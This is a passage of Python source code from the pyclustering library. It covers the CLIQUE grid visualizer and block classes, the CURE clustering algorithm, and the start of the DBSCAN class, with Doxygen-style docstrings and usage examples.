cells[0].dimensions amount_canvases = 1 if dimension > 1: amount_canvases = int(dimension * (dimension - 1) / 2) figure = plt.figure() grid_spec = gridspec.GridSpec(1, amount_canvases) pairs = list(itertools.combinations(range(dimension), 2)) if len(pairs) == 0: pairs = [(0, 0)] for index in range(amount_canvases): ax = figure.add_subplot(grid_spec[index]) clique_visualizer.__draw_cells(ax, cells, pairs[index]) clique_visualizer.__draw_two_dimension_data(ax, data, pairs[index]) plt.show() plt.close(figure) @staticmethod def show_clusters(data, clusters, noise=None): """! @brief Display CLIQUE clustering results. @param[in] data (list): Data that was used for clustering. @param[in] clusters (array_like): Clusters that were allocated by the algorithm. @param[in] noise (array_like): Noise that were allocated by the algorithm. """ visualizer = cluster_visualizer() visualizer.append_clusters(clusters, data) visualizer.append_cluster(noise or [], data, marker='x') visualizer.show() @staticmethod def __draw_two_dimension_data(ax, data, pair): """! @brief Display data in two-dimensional canvas. @param[in] ax (Axis): Canvas where data should be displayed. @param[in] data (list): Data points that should be displayed. @param[in] pair (tuple): Pair of dimension indexes. """ ax.set_xlabel("x%d" % pair[0]) ax.set_ylabel("x%d" % pair[1]) for point in data: if len(data[0]) > 1: ax.plot(point[pair[0]], point[pair[1]], color='red', marker='.') else: ax.plot(point[pair[0]], 0, color='red', marker='.') ax.yaxis.set_ticklabels([]) @staticmethod def __draw_cells(ax, cells, pair): ax.grid(False) density_scale = max(len(cell.points) for cell in cells) for cell in cells: clique_visualizer.__draw_cell(ax, pair, cell, density_scale) @staticmethod def __draw_cell(ax, pair, cell, density_scale): max_corner, min_corner = clique_visualizer.__get_rectangle_description(cell, pair) belong_cluster = (len(cell.points) > 0) if density_scale != 0.0: density_scale = clique_visualizer.__maximum_density_alpha * len(cell.points) / density_scale face_color = matplotlib.colors.to_rgba('blue', alpha=density_scale) edge_color = matplotlib.colors.to_rgba('black', alpha=1.0) rect = patches.Rectangle(min_corner, max_corner[0] - min_corner[0], max_corner[1] - min_corner[1], fill=belong_cluster, facecolor=face_color, edgecolor=edge_color, linewidth=0.5) ax.add_patch(rect) #ax.annotate(str(cell.logical_location), (min_corner[0], min_corner[1]), fontsize=6, ha='center', va='center') @staticmethod def __get_rectangle_description(cell, pair): max_corner, min_corner = cell.spatial_location.get_corners() max_corner = [max_corner[pair[0]], max_corner[pair[1]]] min_corner = [min_corner[pair[0]], min_corner[pair[1]]] if pair == (0, 0): max_corner[1], min_corner[1] = 1.0, -1.0 return max_corner, min_corner class spatial_block: """! @brief Geometrical description of CLIQUE block in data space. @details Provides services related to spatial functionality. @see bang_block """ def __init__(self, max_corner, min_corner): """! @brief Creates spatial block in data space. @param[in] max_corner (array_like): Maximum corner coordinates of the block. @param[in] min_corner (array_like): Minimal corner coordinates of the block. """ self.__max_corner = max_corner self.__min_corner = min_corner def __str__(self): """! @brief Returns string block description. @return String representation of the block. """ return "(max: %s; min: %s)" % (self.__max_corner, self.__min_corner) def __contains__(self, point): """! @brief Point is considered as contained if it lies in block (belong to it). @return (bool) True if point is in block, otherwise False. """ for i in range(len(point)): if point[i] < self.__min_corner[i] or point[i] > self.__max_corner[i]: return False return True def get_corners(self): """! @brief Return spatial description of current block. @return (tuple) Pair of maximum and minimum corners (max_corner, min_corner). """ return self.__max_corner, self.__min_corner class clique_block: """! @brief CLIQUE block contains information about its logical location in grid, spatial location in data space and points that are covered by the block. """ def __init__(self, logical_location=None, spatial_location=None, points=None, visited=False): """! @brief Initializes CLIQUE block. @param[in] logical_location (list): Logical location of the block in CLIQUE grid. @param[in] spatial_location (spatial_block): Spatial location in data space. @param[in] points (array_like): Points that belong to this block (can be obtained by method 'capture_points', this parameter is used by CLIQUE in case of processing by C++ implementation when clustering result are passed back to Python code. @param[in] visited (bool): Marks if block is visited during clustering process. """ self.__logical_location = logical_location or [] self.__spatial_location = spatial_location self.__points = points or [] self.__visited = visited def __str__(self): """! @brief Returns string representation of the block using its logical location in CLIQUE grid. """ return str(self.__logical_location) def __repr__(self): """! @brief Returns string representation of the block using its logical location in CLIQUE grid. """ return str(self.__logical_location) @property def logical_location(self): """! @brief Logical location is represented by coordinates in CLIQUE grid, for example, in case of 2x2 grid blocks may have following coordinates: [0, 0], [0, 1], [1, 0], [1, 1]. @return (list) Logical location of the block in CLIQUE grid. """ return self.__logical_location @logical_location.setter def logical_location(self, location): """! @brief Assign logical location to CLIQUE block. @param[in] location (list): New logical location of the block in CLIQUE grid. """ self.__logical_location = location @property def spatial_location(self): """! @brief Spatial location is represented by real data space coordinates. @return (spatial_block) Spatial block that describes location in data space. """ return self.__spatial_location @spatial_location.setter def spatial_location(self, location): """! @brief Assign spatial location to CLIQUE block. @param[in] location (spatial_block): New spatial location of the block. """ self.__spatial_location = location @property def dimensions(self): """! @brief Amount of dimensions where CLIQUE block is located. @return (uint) Amount of dimensions where CLIQUE block is located. """ return len(self.__logical_location) @property def points(self): """! @brief Points that belong to the CLIQUE block. @details Points are represented by indexes that correspond to points in input data space. @return (array_like) Points that belong to the CLIQUE block. @see capture_points """ return self.__points @property def visited(self): """! @brief Defines whether block is visited during cluster analysis. @details If cluster analysis has not been performed then value will False. @return (bool) True if block has been visited during processing, False otherwise. """ return self.__visited @visited.setter def visited(self, visited): """! @brief Marks or unmarks block as a visited. @details This setter is used by CLIQUE algorithm. @param[in] visited (bool): New visited state for the CLIQUE block. """ self.__visited = visited def capture_points(self, data, point_availability): """! @brief Finds points that belong to this block using availability map to reduce computational complexity by checking whether the point belongs to the block. @details Algorithm complexity of this method is O(n). @param[in] data (array_like): Data where points are represented as coordinates. @param[in] point_availability (array_like): Contains boolean values that denote whether point is already belong to another CLIQUE block. """ for index_point in range(len(data)): if (point_availability[index_point] is True) and (data[index_point] in self.__spatial_location): self.__points.append(index_point) point_availability[index_point] = False def get_location_neighbors(self, edge): """! @brief Forms list of logical location of each neighbor for this particular CLIQUE block. @param[in] edge (uint): Amount of intervals in each dimension that is used for clustering process. @return (list) Logical location of each neighbor for this particular CLIQUE block. """ neighbors = [] for index_dimension in range(len(self.__logical_location)): if self.__logical_location[index_dimension] + 1 < edge: position = self.__logical_location[:] position[index_dimension] += 1 neighbors.append(position) if self.__logical_location[index_dimension] - 1 >= 0: position = self.__logical_location[:] position[index_dimension] -= 1 neighbors.append(position) return neighbors class coordinate_iterator: """! @brief Coordinate iterator is used to generate logical location description for each CLIQUE block. @details This class is used by CLIQUE algorithm for clustering process. """ def __init__(self, dimension, intervals): """! @brief Initializes coordinate iterator for CLIQUE algorithm. @param[in] dimension (uint): Amount of dimensions in input data space. @param[in] intervals (uint): Amount of intervals in each dimension. """ self.__intervals = intervals self.__dimension = dimension self.__coordiate = [0] * dimension def get_coordinate(self): """! @brief Returns current block coordinate. """ return self.__coordiate def increment(self): """! @brief Forms logical location for next block. """ for index_dimension in range(self.__dimension): if self.__coordiate[index_dimension] + 1 < self.__intervals: self.__coordiate[index_dimension] += 1 return else: self.__coordiate[index_dimension] = 0 self.__coordiate = None class clique: """! @brief Class implements CLIQUE grid based clustering algorithm. @details CLIQUE automatically finds subspaces with high-density clusters. It produces identical results irrespective of the order in which the input records are presented and it does not presume any canonical distribution for input data @cite article::clique::1. Here is an example where data in two-dimensional space is clustered using CLIQUE algorithm: @code from pyclustering.cluster.clique import clique, clique_visualizer from pyclustering.utils import read_sample from pyclustering.samples.definitions import FCPS_SAMPLES # read two-dimensional input data 'Target' data = read_sample(FCPS_SAMPLES.SAMPLE_TARGET) # create CLIQUE algorithm for processing intervals = 10 # defines amount of cells in grid in each dimension threshold = 0 # lets consider each point as non-outlier clique_instance = clique(data, intervals, threshold) # start clustering process and obtain results clique_instance.process() clusters = clique_instance.get_clusters() # allocated clusters noise = clique_instance.get_noise() # points that are considered as outliers (in this example should be empty) cells = clique_instance.get_cells() # CLIQUE blocks that forms grid print("Amount of clusters:", len(clusters)) # visualize clustering results clique_visualizer.show_grid(cells, data) # show grid that has been formed by the algorithm clique_visualizer.show_clusters(data, clusters, noise) # show clustering results @endcode In this example 6 clusters are allocated including four small cluster where each such small cluster consists of three points. There are visualized clustering results - grid that has been formed by CLIQUE algorithm with density and clusters itself: @image html clique_clustering_target.png "Fig. 1. CLIQUE clustering results (grid and clusters itself)." Sometimes such small clusters should be considered as outliers taking into account fact that two clusters in the central are relatively huge. To treat them as a noise threshold value should be increased: @code intervals = 10 threshold = 3 # block that contains 3 or less points is considered as a outlier as well as its points clique_instance = clique(data, intervals, threshold) @endcode Two clusters are allocated, but in this case some points in cluster-"circle" are also considered as outliers, because CLIQUE operates with blocks, not with points: @image html clique_clustering_with_noise.png "Fig. 2. Noise allocation by CLIQUE." """ def __init__(self, data, amount_intervals, density_threshold, **kwargs): """! @brief Create CLIQUE clustering algorithm. @param[in] data (list): Input data (list of points) that should be clustered. @param[in] amount_intervals (uint): Amount of intervals in each dimension that defines amount of CLIQUE blocks as \f[N_{blocks} = intervals^{dimensions}\f]. @param[in] density_threshold (uint): Minimum number of points that should contain CLIQUE block to consider its points as non-outliers. @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'ccore'). <b>Keyword Args:</b><br> - ccore (bool): By default is True. If True then C++ implementation is used for cluster analysis, otherwise Python implementation is used. """ self.__data = data self.__amount_intervals = amount_intervals self.__density_threshold = density_threshold self.__ccore = kwargs.get('ccore', True) if self.__ccore: self.__ccore = ccore_library.workable() self.__clusters = [] self.__noise = [] self.__cells = [] self.__cells_map = {} self.__validate_arguments() def process(self): """! @brief Performs clustering process in line with rules of CLIQUE clustering algorithm. @return (clique) Returns itself (CLIQUE instance). @see get_clusters() @see get_noise() @see get_cells() """ if self.__ccore: self.__process_by_ccore() else: self.__process_by_python() return self def get_clusters(self): """! @brief Returns allocated clusters. @remark Allocated clusters are returned only after data processing (method process()). Otherwise empty list is returned. @return (list) List of allocated clusters, each cluster contains indexes of objects in list of data. @see process() @see get_noise() """ return self.__clusters def get_noise(self): """! @brief Returns allocated noise. @remark Allocated noise is returned only after data processing (method process()). Otherwise empty list is returned. @return (list) List of indexes that are marked as a noise. @see process() @see get_clusters() """ return self.__noise def get_cells(self): """! @brief Returns CLIQUE blocks that are formed during clustering process. @details CLIQUE blocks can be used for visualization purposes. Each CLIQUE block contain its logical location in grid, spatial location in data space and points that belong to block. @return (list) List of CLIQUE blocks. """ return self.__cells def get_cluster_encoding(self): """! @brief Returns clustering result representation type that indicate how clusters are encoded. @return (type_encoding) Clustering result representation. @see get_clusters() """ return type_encoding.CLUSTER_INDEX_LIST_SEPARATION def __process_by_ccore(self): """! @brief Performs cluster analysis using C++ implementation of CLIQUE algorithm that is used by default if user's target platform is supported. """ result = wrapper.clique(self.__data, self.__amount_intervals, self.__density_threshold) (self.__clusters, self.__noise, block_logical_locations, max_corners, min_corners, block_points) = result amount_cells = len(block_logical_locations) for i in range(amount_cells): self.__cells.append(clique_block(block_logical_locations[i], spatial_block(max_corners[i], min_corners[i]), block_points[i], True)) def __process_by_python(self): """! @brief Performs cluster analysis using Python implementation of CLIQUE algorithm. """ self.__create_grid() self.__allocate_clusters() self.__cells_map.clear() def __validate_arguments(self): """! @brief Check input arguments of CLIQUE algorithm and if one of them is not correct then appropriate exception is thrown. """ if len(self.__data) == 0: raise ValueError("Empty input data. Data should contain at least one point.") if self.__amount_intervals <= 0: raise ValueError("Incorrect amount of intervals '%d'. Amount of intervals value should be greater than 0." % self.__amount_intervals) if self.__density_threshold < 0: raise ValueError("Incorrect density threshold '%f'. Density threshold should not be negative." % self.__density_threshold) def __allocate_clusters(self): """! @brief Performs cluster analysis using formed CLIQUE blocks. """ for cell in self.__cells: if cell.visited is False: self.__expand_cluster(cell) def __expand_cluster(self, cell): """! @brief Tries to expand cluster from specified cell. @details During expanding points are marked as noise or append to new cluster. @param[in] cell (clique_block): CLIQUE block from that cluster should be expanded. """ cell.visited = True if len(cell.points) <= self.__density_threshold: if len(cell.points) > 0: self.__noise.extend(cell.points) return cluster = cell.points[:] neighbors = self.__get_neighbors(cell) for neighbor in neighbors: if len(neighbor.points) > self.__density_threshold: cluster.extend(neighbor.points) neighbors += self.__get_neighbors(neighbor) elif len(neighbor.points) > 0: self.__noise.extend(neighbor.points) self.__clusters.append(cluster) def __get_neighbors(self, cell): """! @brief Returns neighbors for specified CLIQUE block as clique_block objects. @return (list) Neighbors as clique_block objects. """ neighbors = [] location_neighbors = cell.get_location_neighbors(self.__amount_intervals) for i in range(len(location_neighbors)): key = self.__location_to_key(location_neighbors[i]) candidate_neighbor = self.__cell_map[key] if not candidate_neighbor.visited: candidate_neighbor.visited = True neighbors.append(candidate_neighbor) return neighbors def __create_grid(self): """! @brief Creates CLIQUE grid that consists of CLIQUE blocks for clustering process. """ data_sizes, min_corner, max_corner = self.__get_data_size_derscription() dimension = len(self.__data[0]) cell_sizes = [dimension_length / self.__amount_intervals for dimension_length in data_sizes] self.__cells = [clique_block() for _ in range(pow(self.__amount_intervals, dimension))] iterator = coordinate_iterator(dimension, self.__amount_intervals) point_availability = [True] * len(self.__data) self.__cell_map = {} for index_cell in range(len(self.__cells)): logical_location = iterator.get_coordinate() iterator.increment() self.__cells[index_cell].logical_location = logical_location[:] cur_max_corner, cur_min_corner = self.__get_spatial_location(logical_location, min_corner, max_corner, cell_sizes) self.__cells[index_cell].spatial_location = spatial_block(cur_max_corner, cur_min_corner) self.__cells[index_cell].capture_points(self.__data, point_availability) self.__cell_map[self.__location_to_key(logical_location)] = self.__cells[index_cell] def __location_to_key(self, location): """! @brief Forms key using logical location of a CLIQUE block. @return (string) Key for CLIQUE block map. """ return ''.join(str(e) + '.' for e in location) def __get_spatial_location(self, logical_location, min_corner, max_corner, cell_sizes): """! @brief Calculates spatial location for CLIQUE block with logical coordinates defined by logical_location. @param[in] logical_location (list): Logical location of CLIQUE block for that spatial location should be calculated. @param[in] min_corner (list): Minimum corner of an input data. @param[in] max_corner (list): Maximum corner of an input data. @param[in] cell_sizes (list): Size of CLIQUE block in each dimension. @return (list, list): Maximum and minimum corners for the specified CLIQUE block. """ cur_min_corner = min_corner[:] cur_max_corner = min_corner[:] dimension = len(self.__data[0]) for index_dimension in range(dimension): cur_min_corner[index_dimension] += cell_sizes[index_dimension] * logical_location[index_dimension] if logical_location[index_dimension] == self.__amount_intervals - 1: cur_max_corner[index_dimension] = max_corner[index_dimension] else: cur_max_corner[index_dimension] = cur_min_corner[index_dimension] + cell_sizes[index_dimension] return cur_max_corner, cur_min_corner def __get_data_size_derscription(self): """! @brief Calculates input data description that is required to create CLIQUE grid. @return (list, list, list): Data size in each dimension, minimum and maximum corners. """ min_corner = self.__data[0][:] max_corner = self.__data[0][:] dimension = len(self.__data[0]) for index_point in range(1, len(self.__data)): for index_dimension in range(dimension): coordinate = self.__data[index_point][index_dimension] if coordinate > max_corner[index_dimension]: max_corner[index_dimension] = coordinate if coordinate < min_corner[index_dimension]: min_corner[index_dimension] = coordinate data_sizes = [0.0] * dimension for index_dimension in range(dimension): data_sizes[index_dimension] = max_corner[index_dimension] - min_corner[index_dimension] return data_sizes, min_corner, max_corner ``` #### File: pyclustering/cluster/cure.py ```python import numpy from pyclustering.cluster.encoder import type_encoding from pyclustering.utils import euclidean_distance_square from pyclustering.container.kdtree import kdtree from pyclustering.core.wrapper import ccore_library import pyclustering.core.cure_wrapper as wrapper class cure_cluster: """! @brief Represents data cluster in CURE term. @details CURE cluster is described by points of cluster, representation points of the cluster and by the cluster center. """ def __init__(self, point, index): """! @brief Constructor of CURE cluster. @param[in] point (list): Point represented by list of coordinates. @param[in] index (uint): Index point in dataset. """ ## List of points that make up cluster. self.points = [ ] ## Point indexes in dataset. self.indexes = -1 ## Mean of points that make up cluster. self.mean = None ## List of points that represents clusters. self.rep = [ ] if point is not None: self.points = [ point ] self.indexes = [ index ] self.mean = point self.rep = [ point ] ## Pointer to the closest cluster. self.closest = None ## Distance to the closest cluster. self.distance = float('inf') # calculation of distance is really complexity operation (even square distance), so let's store distance to closest cluster. def __repr__(self): """! @brief Displays distance to closest cluster and points that are contained by current cluster. """ return "%s, %s" % (self.distance, self.points) class cure: """! @brief Class represents clustering algorithm CURE with KD-tree optimization. @details CCORE option can be used to use the pyclustering core - C/C++ shared library for processing that significantly increases performance. Here is an example how to perform cluster analysis of sample 'Lsun': @code from pyclustering.cluster import cluster_visualizer; from pyclustering.cluster.cure import cure; from pyclustering.utils import read_sample; from pyclustering.samples.definitions import FCPS_SAMPLES; # Input data in following format [ [0.1, 0.5], [0.3, 0.1], ... ]. input_data = read_sample(FCPS_SAMPLES.SAMPLE_LSUN); # Allocate three clusters. cure_instance = cure(input_data, 3); cure_instance.process(); clusters = cure_instance.get_clusters(); # Visualize allocated clusters. visualizer = cluster_visualizer(); visualizer.append_clusters(clusters, input_data); visualizer.show(); @endcode """ def __init__(self, data, number_cluster, number_represent_points = 5, compression = 0.5, ccore = True): """! @brief Constructor of clustering algorithm CURE. @param[in] data (array_like): Input data that should be processed. @param[in] number_cluster (uint): Number of clusters that should be allocated. @param[in] number_represent_points (uint): Number of representative points for each cluster. @param[in] compression (double): Coefficient defines level of shrinking of representation points toward the mean of the new created cluster after merging on each step. Usually it destributed from 0 to 1. @param[in] ccore (bool): If True then CCORE (C++ solution) will be used for solving. """ self.__pointer_data = self.__prepare_data_points(data) self.__clusters = None self.__representors = None self.__means = None self.__number_cluster = number_cluster self.__number_represent_points = number_represent_points self.__compression = compression self.__ccore = ccore if self.__ccore: self.__ccore = ccore_library.workable() self.__validate_arguments() def process(self): """! @brief Performs cluster analysis in line with rules of CURE algorithm. @return (cure) Returns itself (CURE instance). @see get_clusters() """ if self.__ccore is True: self.__process_by_ccore() else: self.__process_by_python() return self def __process_by_ccore(self): """! @brief Performs cluster analysis using CCORE (C/C++ part of pyclustering library). """ cure_data_pointer = wrapper.cure_algorithm(self.__pointer_data, self.__number_cluster, self.__number_represent_points, self.__compression) self.__clusters = wrapper.cure_get_clusters(cure_data_pointer) self.__representors = wrapper.cure_get_representors(cure_data_pointer) self.__means = wrapper.cure_get_means(cure_data_pointer) wrapper.cure_data_destroy(cure_data_pointer) def __process_by_python(self): """! @brief Performs cluster analysis using python code. """ self.__create_queue() # queue self.__create_kdtree() # create k-d tree while len(self.__queue) > self.__number_cluster: cluster1 = self.__queue[0] # cluster that has nearest neighbor. cluster2 = cluster1.closest # closest cluster. self.__queue.remove(cluster1) self.__queue.remove(cluster2) self.__delete_represented_points(cluster1) self.__delete_represented_points(cluster2) merged_cluster = self.__merge_clusters(cluster1, cluster2) self.__insert_represented_points(merged_cluster) # Pointers to clusters that should be relocated is stored here. cluster_relocation_requests = [] # Check for the last cluster if len(self.__queue) > 0: merged_cluster.closest = self.__queue[0] # arbitrary cluster from queue merged_cluster.distance = self.__cluster_distance(merged_cluster, merged_cluster.closest) for item in self.__queue: distance = self.__cluster_distance(merged_cluster, item) # Check if distance between new cluster and current is the best than now. if distance < merged_cluster.distance: merged_cluster.closest = item merged_cluster.distance = distance # Check if current cluster has removed neighbor. if (item.closest is cluster1) or (item.closest is cluster2): # If previous distance was less then distance to new cluster then nearest cluster should # be found in the tree. if item.distance < distance: (item.closest, item.distance) = self.__closest_cluster(item, distance) # TODO: investigation is required. There is assumption that itself and merged cluster # should be always in list of neighbors in line with specified radius. But merged cluster # may not be in list due to error calculation, therefore it should be added manually. if item.closest is None: item.closest = merged_cluster item.distance = distance else: item.closest = merged_cluster item.distance = distance cluster_relocation_requests.append(item) # New cluster and updated clusters should relocated in queue self.__insert_cluster(merged_cluster) for item in cluster_relocation_requests: self.__relocate_cluster(item) # Change cluster representation self.__clusters = [cure_cluster_unit.indexes for cure_cluster_unit in self.__queue] self.__representors = [cure_cluster_unit.rep for cure_cluster_unit in self.__queue] self.__means = [cure_cluster_unit.mean for cure_cluster_unit in self.__queue] def get_clusters(self): """! @brief Returns list of allocated clusters, each cluster contains indexes of objects in list of data. @return (list) List of allocated clusters. @see process() @see get_representors() @see get_means() """ return self.__clusters def get_representors(self): """! @brief Returns list of point-representors of each cluster. @details Cluster index should be used for navigation between lists of point-representors. @return (list) List of point-representors of each cluster. @see get_clusters() @see get_means() """ return self.__representors def get_means(self): """! @brief Returns list of mean values of each cluster. @details Cluster index should be used for navigation between mean values. @return (list) List of mean values of each cluster. @see get_clusters() @see get_representors() """ return self.__means def get_cluster_encoding(self): """! @brief Returns clustering result representation type that indicate how clusters are encoded. @return (type_encoding) Clustering result representation. @see get_clusters() """ return type_encoding.CLUSTER_INDEX_LIST_SEPARATION def __prepare_data_points(self, sample): """! @brief Prepare data points for clustering. @details In case of numpy.array there are a lot of overloaded basic operators, such as __contains__, __eq__. @return (list) Returns sample in list format. """ if isinstance(sample, numpy.ndarray): return sample.tolist() return sample def __validate_arguments(self): """! @brief Check input arguments of BANG algorithm and if one of them is not correct then appropriate exception is thrown. """ if len(self.__pointer_data) == 0: raise ValueError("Empty input data. Data should contain at least one point.") if self.__number_cluster <= 0: raise ValueError("Incorrect amount of clusters '%d'. Amount of cluster should be greater than 0." % self.__number_cluster) if self.__compression < 0: raise ValueError("Incorrect compression level '%f'. Compression should not be negative." % self.__compression) if self.__number_represent_points <= 0: raise ValueError("Incorrect amount of representatives '%d'. Amount of representatives should be greater than 0." % self.__number_cluster) def __insert_cluster(self, cluster): """! @brief Insert cluster to the list (sorted queue) in line with sequence order (distance). @param[in] cluster (cure_cluster): Cluster that should be inserted. """ for index in range(len(self.__queue)): if cluster.distance < self.__queue[index].distance: self.__queue.insert(index, cluster) return self.__queue.append(cluster) def __relocate_cluster(self, cluster): """! @brief Relocate cluster in list in line with distance order. @param[in] cluster (cure_cluster): Cluster that should be relocated in line with order. """ self.__queue.remove(cluster) self.__insert_cluster(cluster) def __closest_cluster(self, cluster, distance): """! @brief Find closest cluster to the specified cluster in line with distance. @param[in] cluster (cure_cluster): Cluster for which nearest cluster should be found. @param[in] distance (double): Closest distance to the previous cluster. @return (tuple) Pair (nearest CURE cluster, nearest distance) if the nearest cluster has been found, otherwise None is returned. """ nearest_cluster = None nearest_distance = float('inf') real_euclidean_distance = distance ** 0.5 for point in cluster.rep: # Nearest nodes should be returned (at least it will return itself). nearest_nodes = self.__tree.find_nearest_dist_nodes(point, real_euclidean_distance) for (candidate_distance, kdtree_node) in nearest_nodes: if (candidate_distance < nearest_distance) and (kdtree_node is not None) and (kdtree_node.payload is not cluster): nearest_distance = candidate_distance nearest_cluster = kdtree_node.payload return (nearest_cluster, nearest_distance) def __insert_represented_points(self, cluster): """! @brief Insert representation points to the k-d tree. @param[in] cluster (cure_cluster): Cluster whose representation points should be inserted. """ for point in cluster.rep: self.__tree.insert(point, cluster) def __delete_represented_points(self, cluster): """! @brief Remove representation points of clusters from the k-d tree @param[in] cluster (cure_cluster): Cluster whose representation points should be removed. """ for point in cluster.rep: self.__tree.remove(point, payload=cluster) def __merge_clusters(self, cluster1, cluster2): """! @brief Merges two clusters and returns new merged cluster. Representation points and mean points are calculated for the new cluster. @param[in] cluster1 (cure_cluster): Cluster that should be merged. @param[in] cluster2 (cure_cluster): Cluster that should be merged. @return (cure_cluster) New merged CURE cluster. """ merged_cluster = cure_cluster(None, None) merged_cluster.points = cluster1.points + cluster2.points merged_cluster.indexes = cluster1.indexes + cluster2.indexes # merged_cluster.mean = ( len(cluster1.points) * cluster1.mean + len(cluster2.points) * cluster2.mean ) / ( len(cluster1.points) + len(cluster2.points) ); dimension = len(cluster1.mean) merged_cluster.mean = [0] * dimension if merged_cluster.points[1:] == merged_cluster.points[:-1]: merged_cluster.mean = merged_cluster.points[0] else: for index in range(dimension): merged_cluster.mean[index] = ( len(cluster1.points) * cluster1.mean[index] + len(cluster2.points) * cluster2.mean[index] ) / ( len(cluster1.points) + len(cluster2.points) ); temporary = list() for index in range(self.__number_represent_points): maximal_distance = 0 maximal_point = None for point in merged_cluster.points: minimal_distance = 0 if index == 0: minimal_distance = euclidean_distance_square(point, merged_cluster.mean) #minimal_distance = euclidean_distance_sqrt(point, merged_cluster.mean); else: minimal_distance = min([euclidean_distance_square(point, p) for p in temporary]) #minimal_distance = cluster_distance(cure_cluster(point), cure_cluster(temporary[0])); if minimal_distance >= maximal_distance: maximal_distance = minimal_distance maximal_point = point if maximal_point not in temporary: temporary.append(maximal_point) for point in temporary: representative_point = [0] * dimension for index in range(dimension): representative_point[index] = point[index] + self.__compression * (merged_cluster.mean[index] - point[index]) merged_cluster.rep.append(representative_point) return merged_cluster def __create_queue(self): """! @brief Create queue of sorted clusters by distance between them, where first cluster has the nearest neighbor. At the first iteration each cluster contains only one point. @param[in] data (list): Input data that is presented as list of points (objects), each point should be represented by list or tuple. @return (list) Create queue of sorted clusters by distance between them. """ self.__queue = [cure_cluster(self.__pointer_data[index_point], index_point) for index_point in range(len(self.__pointer_data))] # set closest clusters for i in range(0, len(self.__queue)): minimal_distance = float('inf') closest_index_cluster = -1 for k in range(0, len(self.__queue)): if i != k: dist = self.__cluster_distance(self.__queue[i], self.__queue[k]) if dist < minimal_distance: minimal_distance = dist closest_index_cluster = k self.__queue[i].closest = self.__queue[closest_index_cluster] self.__queue[i].distance = minimal_distance # sort clusters self.__queue.sort(key=lambda x: x.distance, reverse = False) def __create_kdtree(self): """! @brief Create k-d tree in line with created clusters. At the first iteration contains all points from the input data set. @return (kdtree) k-d tree that consist of representative points of CURE clusters. """ representatives, payloads = [], [] for current_cluster in self.__queue: for representative_point in current_cluster.rep: representatives.append(representative_point) payloads.append(current_cluster) # initialize it using constructor to have balanced tree at the beginning to ensure the highest performance # when we have the biggest amount of nodes in the tree. self.__tree = kdtree(representatives, payloads) def __cluster_distance(self, cluster1, cluster2): """! @brief Calculate minimal distance between clusters using representative points. @param[in] cluster1 (cure_cluster): The first cluster. @param[in] cluster2 (cure_cluster): The second cluster. @return (double) Euclidean distance between two clusters that is defined by minimum distance between representation points of two clusters. """ distance = float('inf') for i in range(0, len(cluster1.rep)): for k in range(0, len(cluster2.rep)): dist = euclidean_distance_square(cluster1.rep[i], cluster2.rep[k]) # Fast mode if dist < distance: distance = dist return distance ``` #### File: pyclustering/cluster/dbscan.py ```python from pyclustering.container.kdtree import kdtree_balanced from pyclustering.cluster.encoder import type_encoding from pyclustering.core.wrapper import ccore_library import pyclustering.core.dbscan_wrapper as wrapper class dbscan: """! @brief Class represents clustering algorithm DBSCAN. @details This DBSCAN algorithm is KD-tree optimized. By default C/C++ pyclustering library is used for processing that significantly increases performance. Clustering example where DBSCAN algorithm is used to process `Chainlink` data from `FCPS` collection: @code from pyclustering.cluster.dbscan import dbscan from pyclustering.cluster import cluster_visualizer from pyclustering.utils import read_sample from pyclustering.samples.definitions import FCPS_SAMPLES # Sample for cluster analysis. sample = read_sample(FCPS_SAMPLES.SAMPLE_CHAINLINK) # Create DBSCAN algorithm. dbscan_instance = dbscan(sample, 0.7, 3) # Start processing by DBSCAN. dbscan_instance.process() # Obtain results of clustering. clusters = dbscan_instance.get_clusters() noise = dbscan_instance.get_noise() # Visualize clustering results visualizer = cluster_visualizer() visualizer.append_clusters(clusters, sample) visualizer.append_cluster(noise, sample, marker='x') visualizer.show() @endcode """ def __init__(self, data, eps, neighbors, ccore=True, **kwargs): """! @brief Constructor of clustering algorithm DBSCAN. @param[in] data (list): Input data that is presented as list of points or distance matrix (defined by parameter 'data_type', by default data is considered as a list of points). @param[in] eps (double): Connectivity radius between points, points may be connected if distance between them less then the radius. @param[in] neighbors (uint): minimum number of shared neighbors that is required for establish links between points. @param[in] ccore (bool): if True than DLL CCORE (C++ solution) will be used for solving the problem. @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'data_type'). <b>Keyword Args:</b><br> - data_type (string): Data type of input sample 'data' that is processed by the algorithm ('points', 'distance_matrix'). """ self.__pointer_data = data self.__kdtree = None self.__eps = eps self.__sqrt_eps = eps * eps self.__neighbors = neighbors self.__visited = None self.__belong = None self.__data_type = kwargs.get('data_type', 'points') self.__clusters = [] self.__noise = [] self.__neighbor_searcher = None self.__initialize_ccore_state(ccore) self.__verify_arguments() def __getstate__(self): """! @brief Returns current state of the algorithm. @details It does not return internal temporal variables that are not visible for a user. @return (tuple) Current state of the algorithm. """ return (self.__pointer_data, self.__eps, self.__sqrt_eps, self.__neighbors, self.__visited, self.__belong, self.__data_type, self.__clusters, self.__noise, self.__ccore) def __setstate__(self, state): """! @brief Set current state of the algorithm. @details Set state method checks if C++ pyclustering is available for the current platform, as a result `ccore` state might be different if state is moved between platforms. """ self.__pointer_data, self.__eps, self.__sqrt_eps, self.__neighbors, self.__visited, self.__belong, \ self.__data_type, self.__clusters, self.__noise, self.__ccore = state self.__initialize_ccore_state(True) def process(self): """! @brief Performs cluster analysis in line with rules of DBSCAN algorithm. @return (dbscan) Returns itself (DBSCAN instance). @see get_clusters() @see get_noise() """ if self.__ccore is True: (self.__clusters, self.__noise) = wrapper.dbscan(self.__pointer_data, self.__eps, self.__neighbors, self.__data_type) else: if self.__data_type == 'points': self.__kdtree = kdtree_balanced(self.__pointer_data, range(len(self.__pointer_data))) self.__visited = [False] * len(self.__pointer_data) self.__belong = [False] * len(self.__pointer_data) self.__neighbor_searcher = self.__create_neighbor_searcher(self.__data_type) for i in range(0, len(self.__pointer_data)): if self.__visited[i] is False: cluster = self.__expand_cluster(i) if cluster is not None: self.__clusters.append(cluster) for i in range(0, len(self.__pointer_data)): if self.__belong[i] is False: self.__noise.append(i) return self def get_clusters(self): """! @brief Returns allocated clusters. @remark Allocated clusters can be returned only after data processing (use method process()). Otherwise empty list is returned. @return (list) List of allocated clusters, each cluster contains indexes of objects in list of data. @see process() @see get_noise() """ return self.__clusters def get_noise(self): """! @brief Returns allocated noise. @remark Allocated noise can be returned only after data processing (use method process() before). Otherwise empty list is returned. @return (list) List of indexes that are marked as a noise. @see process() @see get_clusters() 